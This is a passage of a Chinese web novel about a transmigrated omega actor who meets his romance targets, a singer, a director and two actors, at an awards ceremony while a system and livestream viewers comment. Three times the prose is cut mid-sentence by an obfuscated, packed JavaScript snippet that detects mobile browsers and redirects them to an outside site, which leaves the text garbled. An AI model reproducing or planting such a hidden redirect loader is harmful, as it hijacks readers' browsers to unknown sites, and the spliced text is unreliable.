前往精神病院前，他又打听到，许时清好像也生病了。这个总没心没肺的人，对着寒冷的下雪天和七块钱的鸡腿都能傻乐，却患上了抑郁和疑似精神分裂的症状。 听说是因为病人骚扰，对方一厢情愿的病态求爱，让他避之不及；后又有家属闹事，说有位他手下的病人寻死觅活，都是因为在他这里看病，被他蛊惑才迷了心智。 医者不能自医，许时清自己也病了，辗转却又在多年好友，江起的帮助下重新投入工作。 “你好呀，同学，你是叫做柯怀雪吧？好可爱的名字，为什么会这样起名呢，是因为你在下雪天出生吗？” 再见面时，许时清已经不认识他了。但那也没关系，纵然他们之间陌生，许时清的善意不减。 “嗯，是。” 柯怀雪应了声，又补充说：“和喜欢的人第一次见面，也是在一个下雪天。” “哇，好浪漫的故事呢，可以说给我听听吗？” “好。” 如果有机会的话，他会慢慢说给许时清听的。 25. 闻不到信息素的omega 这一觉，许时清睡得很沉。 再醒来的时候，他感觉环境很吵闹，还有些晃，混沌中睁眼，发现自己正在一辆面包车上。 “……” 什么意思？人是醒了，脑袋还没醒，他倏然瞪大眼——难道是拐卖？！ 【清清，你的脑回路真的很清奇。】 系统冷不丁冒出来，给他吓一跳。缓了几秒，许时清才反应过来什么情况。 “所以，我现在是在第二个世界了吗？” 许时清往窗外看，发现车辆在街区行驶，松一口气，“不是拐卖就好。那我到底在哪儿呢？” 系统还没发话，前排就有人先开口：“哟，小祖宗终于醒啦？” 说话的是个男人，脸上有些皱纹，瞧着三十来岁，但用厚厚的脂粉盖去了，怎么看怎么怪异，说话也装腔拿调：“一上车就开始睡，睡了一路了。唉，您倒是清闲呢，人气都垫底成这样了还能大睡特睡，佩服佩服。” 许时清：“……” 在阴阳怪气什么？ “不好意思，下次不睡了。” 遇事不决先道歉，找茬别找他头上。 男人看他一眼，欲言又止，又坐回去。 【好啦，接下来为你介绍第二个小世界的剧情构成！】 【昨天已经告诉你了，这个世界的性别靠ABO分化。而你在这个世界就是一个omega，信息素是冷茶香。】 “冷茶香？”许时清若有所思，“难道还有热茶香吗？会让人体温升高的那种？” 【……】 好冷的笑话。 【这个冷茶是指闻起来很清冷的茶香啦！不过闻见之后会体温升高倒是真的。好啦，现在为你介绍本次的可攻略对象，还是四个人哦，惊不惊喜？！】 这福气给你你要不要？ 对象一，凌星，alpha，职业是原创歌手，硝烟味信息素。擅长谱写重金属乐曲，会弹电吉他，粉丝人称外号“电音小王子”。 许时清没忍住“噗”地一声喷了出来，别逗他笑行不行？ 前排的男人听见动静，又回头看他。许时清对他眨眨眼睛，一副无辜又清纯的样子，就又把他的话堵住了。 许时清才继续：什么电音小王子啊？因为我不追星吗？感觉好中二。 还有，这个名字怎么感觉这么熟悉呢？硝烟味信息素……一听火药味儿就很浓。更熟悉了。 第二位，柯宁，是个beta，没有信息素，但据说他体质特殊、嗅觉比较灵敏，可以闻到一点儿其他人的信息素气味。业内知名导演，擅长写感情戏和对手戏，为手下的演员提供亲切指导。 这位也有点熟悉。许时清想，不过比起上一位，听起来要更阳光正派一些？ 第三位，温屿，alpha，信息素是玫瑰酒，当红小花，资源颇丰。有人说他是资源咖，出道时毫无成绩，直接空降出演了热门剧作的男一号，不过温屿后面用实力打脸黑粉，反对的声音也就少了很多。 这位倒是不认识了。玫瑰酒信息素，听起来感觉甜甜的呢？许时清突然想喝红酒了。 最后一位，付星竹，alpha，雪松信息素。早期爱豆出道，后来转型做演员，斩获几次含金量很高的知名奖项，被誉为业界内最年轻的影帝。因为是爱豆出身，所以粉丝粘性极强，战斗力更是爆表！ 许时清好奇：有多爆？ 【呵呵，你后面试试就知道了。】 那还是不试了，听起来就不太靠谱。 许时清虽然没追过星，但对追星族的狂热有所耳闻，要是一不小心踩了他们的雷点，估计会被追着砍成臊子。 既然如此，那付星竹就不在他的攻略范围里了！他先观察观察其他人再说。 许时清：那现在我要去做什么？ 【在去颁奖典礼的路上～虽然今年的奖项跟你一毛钱关系都没有，你有零个提名，但是重在参与嘛，公司还是安排你去了，算是一种激励啊！】 许时清：…… 确定是激励不是羞辱吗？ 遥想当年他们老班给同学发奖，成绩靠前的有成绩优异奖，进步大的有进步之星奖，当班干部的有为民服务奖。 然而有些人既没成绩、也没进步，还不想当班委。为了体现人文关怀，老班直接给他们单独发了奖状，想要什么自己填，然后一出溜拉上讲台排排站，拍照留念，也算是颁个奖了。 迟冬有一年玩心大，成绩掉了好大一截，虽然还是挺靠前，但老班对他意见很大，那学期没给他颁奖。他倒是无所谓，去办公室主动讨了两张，说要自己填。 “嘶，你说我填个什么好呢？” 许时清在做题，没空搭理他，随口回：“填个王者大师吧。你上次拿五杀发了一个星期的朋友圈，想来你应该很满意。” “对哦，但是老班肯定要揍我，我这次考试睡觉就是因为前一天晚上通宵打游戏。” 许时清：“……”你也知道啊？ “欸，有了！” 迟冬灵光一闪，想了个歪点子，“刷刷刷”在纸上一阵写，最后举起来给许时清看，“快看快看！” 许时清烦得要命，本来在看空间几何，思路都被他打断了。扭头一看，奖状上用记号笔赫然写了五个大黑字：【许时清的狗】。 “……？” “迟冬，你有病吧，到底有谁会喜欢给人家当狗啊？” “怎么骂我？我是认真的，这确实是奖励啊！” 许时清翻了个白眼，叫他滚蛋，别打扰自己做题。 还剩下一张奖状没填了。被他吼一通，旁边的人安静了几分钟，之后又戳了戳他的胳膊。 许时清刚要发火，迟冬就把奖状慢慢推过来，这次上面也写了五个字： 【许时清的猫】。 …… 回忆结束，发会儿呆的功夫，车辆已经到场地了。 听系统介绍说，这次颁奖对象主要是温屿和付星竹。 一个作为新人出道，表现优异，投票是压倒性的优势拿下了新人演员奖；另一个则是连续第四年斩获奖项，众望所归。 嗯……随便吧，反正跟许时清没什么关系，他就是来走个过场的。 下车的时候，因为动作慢了，许时清又被男人吼了一通。这个男人居然是他的经纪人，发起火来嗓子更尖，好像还会翘兰花指。 “唉，真是个老来俏。”许时清吐槽说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438176|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 按照经纪人的要求，他从后门进会场，根据工作人员指示走，到之后会有人安排座位。 “我马上要去跟王导谈合作，要走一个多小时，你可不许乱走啊，到时候要是找不到你，你看我收不收拾你的！” “好的。” 许时清一一应下，对他微笑，双手规矩放在膝盖上，一副乖小孩的模样。 等经纪人一走，他立刻翻个白眼，说：“装货。” 【老婆就这样毒舌。】 【许贵人恶毒，但实在美丽。】 【骂两句怎么了？我也看那老登不爽，对我清清指指点点的，好讨厌！】 【就是就是，骂他两句都算便宜他了。】 许时清笑笑：“好啦，我倒也没有生气，为这样的人，没必要。” 有人陆续进入会场落座，但场馆里还是空落落的，听工作人员说，估计要四十分钟后才会正式进场。 剧场里坐着怪闷的，许时清出来透气，顺便去趟卫生间。 他兜了好大一圈，绕远路才找到地方，上完之后，认真洗手，因为心情不错，还轻轻哼着小曲儿。 这时，刚好有人从外面进来，许时清只是看了一眼，正巧和那人对上视线，对方忽然也盯着自己看。 青年五官偏硬朗、眉毛浓密，是很周正的那种帅气。 他看着许时清，许时清也看着他，两两相望，许时清连歌也都不哼了。 “呃，请问是……有什么事吗？”许时清照照镜子，发现自己脸上好像也没有东西啊？ 闻言，青年却“哼”一声，搞得他莫名其妙，然后补一句：“你自己在做什么，你不知道吗？” “你的信息素都溢出来了，”青年讥讽说，“真的臭死人。” 啥信息素？许时清愣了下，明白这是系统说的那个，什么冷茶味儿。 但是他好像根本闻不见，一点感觉也没。这是第一个小世界给观众们“加餐”，他们投票给他送的金手指。 结果这金手指倒是给他添麻烦了。 对呀！许时清后知后觉，按照ABO世界的设定，所谓信息素算一种特殊的荷尔蒙，只有在求爱的时候会散发出来，在平时的社交场合，应该都是不允许四散的，不然就显得很冒犯。 现在，他既闻不见别人的信息素，不用怕被人冒犯，可同样也闻不见自己的，味道溢出来了都不知道，这要怎么搞？ 【嘻嘻嘻，清清你才反应过来呀，我以为你又会犯傻呢～】 许时清无奈了。人与人之间能不能多一些善意呢？一群人坏到一起去了，一天到晚净想着怎么给他挖坑！ 洗完手，他用纸巾擦干手上的水珠，转头对人微笑：“不好意思，先生，我出门太急，给忘了。” 说完，他才发现对方脸色不太好，额角冒汗、面色渐红，便又问：“怎么回事？您是身体不舒服吗？您发烧了？” “该死的。” 凌星突然骂了一句，眼前这个omega简直毫无自觉，公然在这种场合散发信息素，被指责了还一脸无所谓的样子！ 他喘了口粗气，压抑住冲动，艰难吐出一句：“谁在发烧啊？你这蠢货，我他妈是被你勾到发情了！” 26. 连自己的结合热也不知道吗？ “我他妈是被你勾到发情了！” 此话一出，空气都安静了好几秒。 许时清感觉自己头上有六个点飘过，思考片刻后，很真诚地发问：“您这是什么意思？” 凌星听他这样说，怒气更上一层楼，“你问我什么意思？我还想问你呢，不知道在公共场合散发信息素是很无礼的行为吗？！” 还好他出门打了一针抑制剂，否则这会儿指定得失控了。 许时清：“噢噢，不好意思。” 说着，他忽然感觉后颈处有点发痒，还热热的发烫，忍不住伸手挠了下，再问一句：“那请问您，有解决办法吗？我不知道该怎么做才……” 【清清啊，唉。】 【唉。】 【唉唉唉！】 【？你们叹什么气啊！正常人穿到ABO不知道这些不是很正常吗？！】 【哈哈哈哈，主要是清清的反应很好笑啊！对面感觉要气炸了他还在哦哦好，感觉人淡如菊。】 【笨蛋清，面前这位是你的攻略对象啊！还不快给人家留个好印象？！】 攻略对象？ 许时清愣了下，又仔细打量眼前的人。刚才光顾着看脸了，这会儿才看清对方的装束，皮夹克、阔腿牛仔，胳膊上挂一溜五金挂件，看着就很金属朋克的样子。 不出意外的话，眼前这位应该就是凌星了。 嘶，越看越觉得像凌燚呢？暴脾气爱爆粗口的狗习惯都这么像。 他看看凌星，凌星也看着他，眉头紧锁、眼神迟疑，似乎在通过眼神判断，他到底是不是个智力障碍。 综合考量一阵后，判断许时清应该不是，凌星才开口：“这问题你能问我吗？你是omega还是我是omega？” 见许时清只会眨眼，杵在那儿不知所措，一脸尴尬的样子，凌星憋着一股气，开口说：“你出门打抑制剂了吗？” 许时清摇头，系统没通知啊？ “那抑制贴呢？抑制贴总有吧！” 许时清看着他：“这个是膏药吗？应该贴在哪里的。” 凌星：“……” 他怀疑眼前这个O在装傻充愣借此骚扰他，但他没有实质性证据。 好在凌星很快冷静下来，先问他：“你叫什么名字？” 许时清如实报了，谁知对方忽然冷笑一声，搞得他莫名其妙。 “许时清？是今年演攀月文娱出品的，古风短剧的那个许时清吗？” 经过系统提醒，许时清又点头，“是我，有什么问题吗？” “你的演技——真的非常拙劣！” 话锋一转，凌星突然就开始批斗他了：“呵呵，我从来没见过有谁演古装剧能演成你这样的！你知道自己演的是个亡国皇子吗？还有复仇大业，结果你全程都在旁边站桩，不是发呆就是打哈欠，你对这个行业没有一点敬畏之心吧！” 许时清：“……” 啥？ 这破系统，又给他安个什么屌丝人设了？之前是十八线小糊咖，现在又是不敬业了，能不能给点正面形象呢？ 【嘿嘿嘿，要是一开始就很顺利，完全没有反差的刺激感啊！清清你自己努力上位，直播间的观众们也会很乐意看的好吧！】 懒得喷。许时清见怪不怪。 但是话又说回来，他不敬业归不敬业，说到底又关凌星什么事呢？这个人只是个独立原创歌手，跟他不在一个公司，八竿子打不着的关系，有什么资格跳出来指责他不敬业啊？ 许时清对他笑笑：“前辈说的是，我以后一定会好好反省的，争取下次演出能带来更好的角色。” 男子汉大丈夫，能屈能伸！ “你……” 凌星还想发作，却被他噎住。 这传闻不是说，许时清目中无人、自命清高吗？之前拍摄的时候，有导演想为他提供指导，他压根不搭理。 他拒绝配合，拍摄日程偏又紧张，短时间没法再找人替补，那小导演只能忍气吞声，杀青后发布微博致谢，感谢了一整个剧组的工作人员，唯独没有许时清。 本来就是新人演员，没资历还没资本，演技差态度也差，凌星对他的印象自然算不上好。 但今天一见，许时清似乎不如想象中那样乖张。只是人实在蠢了点，倒还是懂礼貌的。 除此之外——凌星对他的颜值好像也有误解。不知是因为之前剧组的服化道太差劲，还是因为镜头拍摄失真，许时清上镜和本人完全是两个模样。 镜头里的许时清，总觉得他呆若木鸡，脸蛋虽美却无灵魂，也就没什么魅力；本人的气质却很灵动，尤其是盯着他看的时候，眼睛水汪汪，好像能勾人。 这样想着，凌星的脸色稍缓和，他敛了些怒气，正色道：“咳咳！倒也不是要批评你，只是我觉得以你的条件，应该能有更好的发展，只要你能把态度摆正……” 许时清给点阳光他就灿烂，给个台阶下而已，居然还真说教起来了。 弹幕和他同感： 【清清：在狗叫什么？】 【笑死我了，修狗就是要学狗叫啊～～】 【我服了，谁家爹系男友，快点抱走吧！】 【别诋毁！我们喜欢爹系是因为成熟稳重，没想给自己找个爹啊！】 【我感觉完蛋，上个世界凌燚就是因为暴脾气不讨喜，这个世界感觉又要失宠了。】 【来人啊，把凌贵人打入冷宫！】 凌星又说了一连串，许时清一个字儿都没听进去。这也算是他的独门绝技了。 上学时许时清有个不大喜欢的老师，那小老头年过半百、身子都半截入土了，还老爱搞捧高踩低这一套，偏许时清这一门课的成绩不是特别好，有点偏科，没少被他明里暗里讥讽。 次数多了，饶是脾气再好的许时清，也有了些意见。后来逐渐脱敏，任凭小老头借题发挥讥讽他什么，他都脑袋空空，入耳话好似穿堂风，一进一出就过了。 现在对凌星也是这样，叭叭说了半点，许时清只会配合地点头微笑。 上课上了几分钟，凌星口水也说干了，便换个话题：“对了，你有带抑制剂出门吗？” 看许时清这样子，指定是不会了。 “没有。” 看吧，果然是！ 凌星真想翻个白眼，但憋住了，告诉他：“我现在给我的助理打电话，你就在这儿等着，她给你送抑制剂。” 嘴巴不饶人，说话不讨喜，脾气也很差，本性倒是不坏。 如果说刚刚许时清已经在心里给他扣了一百分，现在终于能加一分了！喜事喜事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438177|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好，谢谢前辈，”许时清对他笑，“要是没有您的话，今天恐怕就麻烦了呢。” 他这一笑，凌星的态度又别扭起来，别过头去，说：“倒也不用，只是举手之劳。” 说完，他洗了次手，就急匆匆走了。 许时清这才开口：“装货。” 【没记错的话，主播刚来那几天似乎是非常温良的。】 【被逼疯了吧呵呵，遇见这种人我也疯，虽然长得还挺帅的。】 【因为凌星现在好感度不是很高呀！等后面好感度上来了，肯定也很宠的好不好？】 “那我现在该去做什么？” 许时清看一眼时间，距离开场还有二十分钟，他也不知道凌星说的助理什么时候来，难道就在这儿干杵着？ 说起来……许时清感觉肚子有点饿了，但时间短暂，他总不能跑出去买饭吃。 【会场里有糕点可以吃的呀！快去吧快去吧。】 许时清“呵呵”一声，“你别想坑我，刚才凌星都说了，我的信息素溢出来了，现在再去公众场合就是找死。” 本来糊穿地心就烦，没人气没粉丝净挨骂的，职业生涯要不要这么命苦？ 可他又实在饿得慌，正想着能上哪儿搞点吃的，就瞧见走廊那头有人过来了。许时清忍不住盯着他——盯着他手里的一袋子面包，眼神直勾勾。 许时清自己都没注意到这眼神有多冒犯，对方自然看见了。 他耳机里还在和人通话，对电话里的人说“等我一下”，再看着许时清，笑吟吟问：“有什么事吗？” “啊？我没有。” 许时清这才觉得不应该，怎么跟个饿死鬼似的呢？但他真的很饿啊！感觉胃都开始哀嚎求饶的那种，甚至隐隐抽搐起来。 于是他忍不住问：“您的这个面包……可以卖给我吗？” “你说这个吗？”青年举了举手里的一袋子抹茶红豆吐司，“可能不太行呢。因为我今天也还没吃饭，不过倒是可以分——” “咚！” 他话音未落，面前的人忽然两眼一翻、直直栽倒下来。得亏是往前倒的，青年上前一步，正巧能接住他。 许时清晕了，因为低血糖。他人生中第一次犯低血糖，所以晕得毫无征兆。 电话那头的人听见异响，开口问：“出什么事了吗？” “没事，晚点跟你说，我先挂了。” 柯宁挂掉电话，低头看怀里的人。许时清眉头紧皱、不省人事，往人怀里倒的姿势倒是熟练，乖乖被他抱着，身子格外软。 早说低血糖呢？他直接就把面包喂人嘴里得了。 正想打电话寻人处理一下，身后又有人赶来。这个人他认得，是凌星的助理。 柯宁看着她：“有什么事吗？” 助理对他笑笑，说：“凌先生让我来给人送抑制剂呢，我现在在找人。” 她一低头，看见趴他怀里的omega，记起刚才凌星的描述——“东门卫生间附近有个漂亮但是脑子不灵光的家伙”。 “……好像就是您怀里这个吧？”助理说。 “送抑制剂？”柯宁挑眉，捏了下怀中人的后颈，果然在发热。 低血糖就算了，连自己的结合热都察觉不到，还真是有够心大的。 27. 他像是被人给训了。 许时清也不知道自己怎么又晕了。 因为第一个小世界被坑害太多次，他都要有心理阴影了，睁眼清醒后第一句话就是：“我在这个世界不会也有精神分裂吧？” 【怎么可能？！天呐清清大人，难道你认为我是会偷偷坑害你的坏蛋吗？】 许时清：“……” 难道不是吗？ 他晃晃脑袋，感觉还是昏昏沉沉，环顾四周，发现自己躺在一张沙发上。旁边有梳妆镜、试衣镜和衣柜，这应该是在某个人的化妆间。 许时清问：“我怎么到这儿来的？” 【你因为低血糖晕倒了，然后被人救啦！】 “低血糖？” 许时清疑惑，他以前可从来没生过这种病。 【这个设定和背景故事关联。你作为攀月文娱的小糊咖，时常被你的经纪人打压和警告，之前他总PUA你说你太胖了，于是你为了减肥，经常陷入极端。轻则液断，重则绝食，如此往复，身体素质越来越差，血糖水平不稳定，有时候会犯低血糖。】 说到头来还是要整他。许时清从沙发上爬起来，到落地镜前照镜子，转个圈儿，左看看，右看看——他真的很胖吗？ 作为普通人来说，许时清感觉自己不算胖了；但作为艺人可就说不准了。许时清对此也有所耳闻，有一些丧心病狂的公司会疯狂手下艺人，让他们极端减肥到快要脱水的地步，只为了上镜那一两个小时状态完美。实在是很折磨人。 正想着，门被推开，有人进来，是柯宁。 “哟，你醒了。” 柯宁表现得很自来熟，在沙发上落座，西装革履、长腿交叠，他推了下眼镜，竟然还是金丝边的，看上去格外有逼格。 柯宁问他：“身体还有哪里不舒服吗？” 许时清摇头，他除了感觉还有点乏力之外，其他的都没感觉了。 “先生，谢谢您的搭救。” 道完谢，许时清恍惚记起什么——对了，颁奖典礼！那浓妆艳抹的老登还要他给反馈呢，说是在宴会上至少结识三个人，他现在的进度是零！ 一看时间，距离开场早就过去半小时了。不过这种大型场合一般要走很多流程，说一堆致辞，所以许时清现在赶过去，应该还来得及。 柯宁看出他的意图，问他：“你现在要走吗？” “嗯，”许时清小心翼翼地笑，“我好像还有别的安排，现在得赶过去，要不我们先加个联系方式，我之后再请您吃顿饭作为感谢，怎么样？” “吃饭就不用了，我倒也不缺这一顿，只是……你真的要现在走吗？” 他说话也不直言，许时清猜不透，便摇头。 柯宁笑笑：“你的信息素——已经多到溢出来了，连我这个beta也能闻见的程度。” beta，能闻见信息素？许时清恍然大悟，原来眼前这位就是柯宁啊！ 因为凌燚和凌星同姓，性格又很相似，所以许时清先入为主地认为，柯宁应该也会和柯怀雪类似，应该看起来都是很脆弱阴暗的样子。结果没想到……居然这么阳光？ 许时清踌躇，“那、那您有抑制剂吗？” “当然，”柯宁从手边的包里摸出一支针剂，这是凌星派助理送过来的，不妨碍他拿来做顺水人情，“这儿有。” 许时清说“谢谢”，几步上前，想双手接过那支针管，动作间不小心触到对方的指尖。柯宁的体温比他的冷许多。 拿了针剂，许时清又开始犯难。这玩意儿看着很小一支，只有中指那么长，该往哪里扎啊？扎肩、手臂，还是扎屁股？ 不知想到什么，许时清的脸忽然就开始红——按照系统和那群观众的尿性，肯定是想看他扎屁股的吧？！ 柯宁不知道他脑补了这么多，见他接过抑制剂迟迟不动手，又问：“怎么了？不是你常用的牌子？只是应个急而已，不会有什么影响的。” 许时清支支吾吾，他笑了下，“该不会是根本不会用吧？” 神机妙算啊大夫！ 柯宁觉得很神奇，他从业这么多年，走南闯北，自认什么人都见过，也见过没常识的，但没见过许时清这么没常识的。 二十来岁的人了，连抑制剂也不会扎——这样一个没有防范意识的omega，到底怎么放心让他独自出门的？ 柯宁朝他勾勾手指，“过来。” 声音偏冷，语气沉稳，却像是在对人下指令一般。许时清感觉好奇怪。 有那么一瞬间，他觉得他像是被这个人训了。 许时清别扭走过去，又被他安排在沙发上落座，许时清也乖乖坐下，柯宁叫他背过身去。 等待几秒后，冰凉的指尖忽然抚上许时清滚热的后颈，惊得许时清猛地一抖，险些叫出声来。 因为背对着，他看不见柯宁的脸，但觉得这人似乎在偷笑。 柯宁却又正色，用指尖摸了摸他的腺体，问他说：“这一块儿，还是很热吗？” “嗯……” 虽然不算什么敏感的位置，可许时清被他摸得很不舒服，脑袋又开始晕，许时清迷糊问：“那个、请问，我、我现在是发烧了吗？” 不知道该说许时清是钝感力还是真的脑子木，刚刚在卫生间撞到凌星，明明才把人勾出感觉了，听说人家体温升高，他要问一句是不是在发烧。 这会儿轮到他自己烧了，又开始说胡话，惹来柯宁一声笑。 “许时清，你到底是真的？” 拨开盖子，针尖刺入后颈，推入药液，许时清疼得一颤，又听见他幽幽地问：“——还是装的？” 什么东西？ 许时清发誓，从他进入这个世界开始，他真的一直都在状况外。 上一个世界，虽然他要扮演的职业不是他的专长，但至少都是些正常人，没有什么离奇古怪的因素。第二个世界就完全是他的知识盲区了，什么乱七八糟的信息素和ABO，他真的不懂啊！ “抱歉，先生，我想我是真的不太舒服。” 后颈疼了十几秒，注射完毕，柯宁随手丢掉了那支针剂。 正常来说，注射信息素一般是打手臂，疼痛最小、见效也快，但柯宁偏要给他从腺体注射，像是要通过这种方式让他长长记性。 “是这样吗？我还以为你又要再来一次呢？” 扎了抑制剂，许时清体内的燥热和乏力感终于缓和一点，他轻揉肩颈。 听出柯宁话里的讥讽之意，许时清又疑惑了。 “再来一次”？意思是他之前做过类似的事吗？他怎么完全没印象！ 许时清：系统，你滚出来给我说实话！我在这个世界到底有没有病？ 【你怎么就是不愿意相信我，我已经说过了，真的没有啊！】 许时清正要松一口气，它却又说：【噢，不过倒是有个隐藏剧情线，因为这个世界不注重推理悬疑，所以就不让你猜啦！】 【清清，你之前得罪过柯宁哦！作为一个小糊咖，你想用尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438178|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手段往上爬，后来再被其他人怂恿，你就动了歪心思。】 【那是在一次杀青宴上。你参加拍摄的短剧是柯宁一时兴起写的小剧本，热度很可观，然而你只是个小配角，听说柯宁手里还有一个大制作的剧本，为了得到他的青睐——你想办法爬了他的床。】 这对许时清来说，不亚于是个鬼故事。 【不过也不用太担心啦！因为那天晚上什么都没有发生，你根据小道消息，想方设法摸进了柯宁要去的房间。结果没想到柯宁最后根本没来，而你躺在他的床上睡着了。】 许时清：“……” 这个世界的编剧在吗？我理解你们想写一个不灵光的人设，但“不聪明”和“是弱智”中间怕是有一条东非大裂谷的吧？ 许时清：那他怎么会记得是我？我们明明连面都没有见过。 【嗯嗯，柯宁虽然没见到你，但有其他人看见了呀！】 是谁？ 【付星竹。】 第三个攻略对象，竟然是以这种方式出场的？ 许时清叹气：那你直接告诉我，我是怎么被这个告状精逮到的就行了。 弹幕刷过一大片“哈哈哈”： 【自己干了坏事不承认，被抓包就说人家告状精！】 【我无理取闹强词夺理就这样。】 【清清怎么骂人都这么可爱啊？感觉一点杀伤力都没有！】 【所有人不许忤逆许时清！被他勾引难道不是荣幸吗？香香老婆跑床上等你了，结果自己不去，你不上我上！】 【就是就是！】 …… 好吵，好烦。许时清好无奈，结果系统又在皮：【嘻嘻，那这个就无可奉告咯！我能告诉你的有效信息只有这些，你可以之后去问付星竹本人啦～～】 毁灭吧。 许时清回过神来，一码归一码，剧情还是要走的，人设也是要立的。 剧情让他演傻子，他索性当回真傻子，冲人笑笑说：“您在说什么呢？我真的听不太懂，我脑袋还有些晕……” 柯宁扫他一眼，见他面色有些苍白，确实不像装的，便没再继续刚才那个话题，说：“时间差不多了，你不是赶着要去看颁奖吗？这会儿应该要轮到付星竹了，没猜错的话，你应该是奔着他来的吧？” 你说是，那就是。 不过倒也合理，许时清作为一个糊穿地心的新人演员，付星竹是年年得奖的大前辈，会敬仰对方是很正常的事。 此刻弹幕又在发力： 【对对对，清清快去看看！】 【我也想看，感觉大影帝应该特别帅！】 【唉，小世界第一天，我不看太过分的，所以能看见亲亲吗？】 【我也想看。我去，刚才柯宁把清清抱回来，我还以为他要这样那样呢！结果把人放下就走了呵呵！】 【柯宁，这你都能憋住，你是这个！（竖大拇指）】 许时清：“……” 能有一天消停吗？除了那档子事儿，要不要考虑再往脑子里塞点别的东西呢？比如礼义廉耻。 “那我就先走了，前辈。” 许时清对他的称呼很自然地从“先生”变成“前辈”，目的是想套套近乎。 柯宁不咸不淡应了声，没再说话，他就走出去了。 看来经纪人交给他的任务他完成得很好啊，先是凌星、再是柯宁，马上又要去勾搭付星竹。 ——事业运没看见，烂桃花倒是开了一堆！ 28. 猫猫祟祟，又被抓包。 几经周折，许时清好歹还是赶上了颁奖仪式。 进入会场，全场的灯光都给到台上的人，周围的环境暗下来，他悄悄摸摸走到自己的座位上，全程没什么人注意到他。 “现在，让我们掌声有请，最佳电影男主角演绎奖的得主——付星竹登场！” 刚好，省去无意义的流程，直接赶上颁奖了。 主持人话音落下，幕后，一位青年走出来。 资料里显示说，付星竹的年龄已经二十八了，但是看着只有二十三四的样子。长相是非常标准的那种帅气，三庭五眼比例完美，笑起来时给人的感觉很亲和，但又觉得他很有可塑性，正是观众缘会好的那一类演员。 身高一米九，肩宽大长腿，就连许时清都忍不住说：“外形条件很优越啊，感觉都能去当模特儿了。” 【你喜欢这一款吗？嗯，高点好啊，体型差什么的最棒了，在床上也……】 许时清：你给我打住！我想好了，这个世界我不会考虑攻略付星竹的！ 【为什么？！】 许时清：你不是说他粉丝战斗力很强吗？我一个无名无姓的小演员，到时候被他们追着打，连个能帮我说话的人都没有。 【噢，可我觉得还好吧！当爱豆的时候，事业上升期不能谈恋爱，可他现在已经转型演员了，马上快三十岁，会成家也是人之常情呢～】 许时清：那我不管，反正就是不想……而且他也不是我喜欢的类型。 说完这句话，许时清意识到不对，系统比他反应得更快： 【哟，咱不是直男吗！之前都是说“我不喜欢男人”，怎么现在变成“这个男人不是我的理想型”了？】 弹幕也跟着乐： 【看来主播已经在不知道的情况下偷偷弯成蚊香了呢～】 【身边帅哥环绕，还都对自己单箭头，会改变取向也是人之常情！】 【所以清清到底喜欢什么类型呀？好奇好奇！】 【感觉他会喜欢温柔挂的嘿嘿，上个世界跟江起亲得最多也最舒服，太强硬的好像接受不了呢？】 【没关系，阈值都是一步步拔高的。相信我们清清的潜力吧！】 许时清忍不住捂耳朵，他只不过是说错一句话，才不想听这些污言秽语呢。 嬉笑打闹间，台上的付星竹已经说完致谢感言，接过奖杯了。同时场上开始喷洒金色礼花。 这就结束了吗？许时清感觉无事发生，嗯，可能是因为跟他没关系，所以没什么参与感吧？ “看完他了，我应该可以走了吧？”许时清说，“其他人我本来也不认识。” 【嗯嗯，不过你现在不能离开会场哦，晚点经纪人会派人来接你，如果被发现中场逃跑，你的下场会很惨的宝宝～】 呵，无良公司。也没见给多好的资源，没能力把人捧红，光会压榨人了！ 许时清又悄悄从后门摸出去，没有人注意到他。溜出会场，他还是觉得肚子很饿。 “我去旁边便利店转一圈，买点吃的就回来，总可以吧？” 他要饿扁了。又走了十几分钟的路，才走出整个场馆、过了马路，找到一家便利店。 在货架前走来走去，挑选食物的时候，弹幕开始发： 【吃播来咯。】 【这期吃什么？不要太贵！】 【想看清清吃冰淇淋，奶油面包也可以～】 【再来个饭团吧，关东煮也可以买点，孩子太瘦了多吃点好！】 【旁边的草莓小甜水看起来也很好喝耶，想看清清测评一下～】 事儿咋这么多，吃个饭都不安生。 许时清暗自吐槽，叹口气，还是按要求拿了一些食物。 干吃播总比让他去勾引人做那档子事儿好吧？ “你好，结账。” 他一连挑了四五样，奶油冰面包、唐扬鸡肉串、照烧鸡腿饭团，外加一盒草莓牛奶。 等待结账的时候，许时清盯着旁边货架上的糖果发呆。抹茶口味的，看起来很好吃的样子，但他不太喜欢吃糖，拿起来看看，就又放回去了。 “一共三十四块八毛，请问要在这里吃吗？” 许时清点头，付钱。店员一边把饭团和鸡肉串加热，一边偷偷用余光打量他。 长得还怪好看的。是哪个流量明星吗？但她好像从来没刷到过……要不要问个签名呢？ 纠结许久，她最终还是鼓足勇气开口：“您好，请问我可以要一个签名吗？” 